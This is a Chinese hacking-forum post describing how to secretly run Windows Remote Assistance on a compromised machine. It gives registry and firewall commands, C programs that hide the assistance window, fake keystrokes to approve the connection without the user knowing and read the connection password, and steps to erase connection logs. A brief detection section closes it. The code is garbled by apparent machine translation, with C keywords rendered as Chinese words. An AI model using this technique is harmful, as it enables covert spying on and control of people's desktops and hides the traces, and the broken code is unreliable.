跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

渗透技巧——隐藏执行Windows远程协助


Tenfk

推荐的帖子

0x00 前言

对于Windows系统,通常使用远程桌面服务通过界面远程管理系统。

有一个缺点:使用远程桌面服务远程登录(使用另一个用户或者踢出当前用户)无法获得当前用户的系统状态。

如果想查看(甚至操作)当前用户的桌面,有什么好办法吗?

虽然我们可以通过编写程序(抓取桌面信息、压缩传输、发送鼠标键盘消息等)来实现界面操作。),如果能使用Windows系统的默认功能不是更好吗?

答案是Windows系统的远程协助。

0x01 简介

本文将介绍以下内容:

远程协助的基本操作

命令行下的操作

c程序隐藏界面,发送键盘消息,模拟用户点击确认。

完整的利用过程

检测方法

0x02 远程协助的基本操作

1、开启远程协助功能

系统属性-远程

选择允许远程协助连接到这台计算机。

如下图

2-1.png

2、添加防火墙规则,允许远程协助的通信端口

Windows防火墙允许的程序

选择远程协助。

如下图

2-2.png

3、启动界面程序

Run-msra.exe

4、配置本机为服务端,请求其他人协助

选择邀请您信任的人来帮助您。

如下图

2-3.png

选择将此邀请另存为文件。

如下图

2-4.png

保存文件Invitation.msrcincident

自动弹出界面,生成随机密码,记录密码,如下图所示

2-5.png

5、控制端发起远程连接

控制终端运行文件Invitation.msrcincident,填写上一步生成的密码,并启动远程连接。

6、服务端确认连接请求

服务器端弹出框要求用户确认,并允许远程协助,如下图所示。

2-6.png

是的,远程协助已成功建立。

0x03 命令行下操作

1、开启系统远程协助

修改注册表项HKLM \系统\当前控制集\控制\远程协助下的键值fAllowToGetHelp,其中1表示允许,0表示禁止。

REG ADD ' HKLM \系统\当前控制集\控制\远程协助'/v fAllowToGetHelp/t REG _ DWORD/d 1/f

2、配置防火墙规则,允许远程协助的通信端口

netsh advfirewall防火墙设置规则组=“远程协助”新启用=是

3、创建远程协助文件,后台等待用户连接

msra/save as file c:\ test \ 1 . msrcincident 123456789012

将文件路径保存为c:\test\1.msrcIncident,连接密码为123456789012。

0x04 编写c程序隐藏界面,发送键盘消息,模拟用户点击确认

1、隐藏msra.exe的界面

获取窗口句柄并将窗口属性设置为hide。

请注意,在需要不同语言的系统中,msra.exe的窗口标题是不同的。比如中文系统的窗口标题是Windows远程协助,英文系统的窗口标题是Windows远程协助。

可以先判断当前的系统语言,然后寻找对应的窗口标题。

为了完全隐藏界面,需要添加循环判断,只需找到msra.exe的窗口并立即隐藏即可。

可供参考的代码如下:

#包括

int main()

{

char * Title=NULL

LANGID lid=GetSystemDefaultLangID();

printf('[*]languageid:0xx\n',lid);

开关(盖子)

{

案例0X0804:

printf('[*]语言:中文\n ',lid);

title=“Windows远程协助”;

打破;

案例0x0409:

printf('[*]Language:Englisth\n ',lid);

title=“Windows远程协助”;

打破;

}

for(int I=0;i1;我)

{

HWND hwnd=FindWindow(NULL,Title);

ShowWindow(hwnd,SW _ HIDE);

睡眠(100);

}

}

生成msra-hide.exe

2、模拟输入键盘消息,左箭头(-)和回车确认键

一般情况下,控制终端成功输入密码后,服务器会弹出一个框提示用户是否允许远程协助。

这里,程序用于模拟用户输入。如果选择是,相应的键盘操作是向左箭头(-)和输入确认键。

代码如下:

#包括

int main()

{

char * Title=NULL

LANGID lid=GetSystemDefaultLangID();

printf('[*]languageid:0xx\n',lid);

开关(盖子)

{

案例0X0804:

printf('[*]语言:中文\n ',lid);

title=“Windows远程协助”;

打破;

案例0x0409:

printf('[*]Language:Englisth\n ',lid);

title=“Windows远程协助”;

打破;

}

HWND hwnd=FindWindow(NULL,Title);

SetActiveWindow(hwnd);

SetForegroundWindow(hwnd);

SetFocus(hwnd);

keybd_event(37,0,0,0);

keybd_event(37,0,KEYEVENTF_KEYUP,0);

keybd_event(13,0,0,0);

keybd_event(13,0,KEYEVENTF_KEYUP,0);

}

生成msra-allow.exe

3、扩展:获得远程协助窗口的连接密码

通过枚举子窗口获取连接密码。

使用API FindWindow获取窗口句柄

使用API EnumChildWindows遍历窗口的所有子窗口以获取密码内容。

API EnumChildWindows将自动枚举,直到获得最后一个子窗口或函数返回0。

其实测试发现第二个子窗口保存了密码,所以在获得密码后,函数返回0提前结束枚举。

代码如下:

#包括

int status=0;

BOOL回调EnumMainWindow(HWND hwnd,LPARAM lParam)

{

const int BufferSize=1024

char buffer content[buffer size]=“”;

SendMessage(hwnd,WM_GETTEXT,(WPARAM)BufferSize,(LPARAM)buffer content);

地位;

如果(状态==2)

{

printf('[]查找密码\ n ');

printf('%s\n ',buffer content);

返回0;

}

返回1;

}

int main()

{

char * Title=NULL

LANGID lid=GetSystemDefaultLangID();

printf('[*]languageid:0xx\n',lid);

开关(盖子)

{

案例0X0804:

printf('[*]语言:中文\n ',lid);

title=“Windows远程协助”;

打破;

案例0x0409:

printf('[*]Language:Englisth\n ',lid);

title=“Windows远程协助”;

打破;

}

HWND hwnd=FindWindow(NULL,Title);

中频(hwnd)

{

printf('[]查找窗口\ n ');

EnumChildWindows(hwnd,EnumMainWindow,0);

}

其他

{

printf('[!]无窗口\ n’);

}

}

测试下图

3-1.png

0x05 完整利用流程

1、开启远程协助

REG ADD ' HKLM \系统\当前控制集\控制\远程协助'/v fAllowToGetHelp/t REG _ DWORD/d 1/f

netsh advfirewall防火墙设置规则组=“远程协助”新启用=是

2、运行拦截程序msra-hide.exe,隐藏msra窗口

需要管理员权限。

3、生成远程协助邀请文件

msra/save as file c:\ test \ 1 . msrcincident 123456789012

4、控制端进行连接

获取文件1.msrcIncident并执行它,输入连接密码。

5、运行模拟键盘输入程序msra-allow.exe,允许远程协助

需要管理员权限。

6、控制端获得远程协助的桌面

如下图

4-1.png

7、控制端请求获得服务端的鼠标操作权限

在控制界面中选择请求控制。

8、再次运行模拟键盘输入程序msra-allow.exe,允许鼠标操作

需要管理员权限。

控制端成功获取控制服务器鼠标。

至此,已经成功获得目标系统的桌面操作权限。

9、清除连接记录

协助的远程记录保存位置:% system drive % \ users \ user _ name \ documents \ remote assistance logs

命名规则:YYYYMMDDHHMMSS.xml (24小时时间格式)

在日志中保存连接时间

0x06 检测方法

本文介绍的方法的前提是获得了系统的管理员权限,也就是说系统被攻破了。

结合思路,可以通过以下方法检测:

注册表hklm \ system \ current control set \ control \ remote assistance项值已被修改。

防火墙规则被修改。

开始处理msra.exe

生成新文件夹% system drive % \ users \ user _ name \ documents \ remote assistance logs

打开的异常端口

0x07 小结

介绍了Windows远程协助的功能,通过编程实现了Windows远程协助的隐藏执行,并基于利用的思想给出了检测方法。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...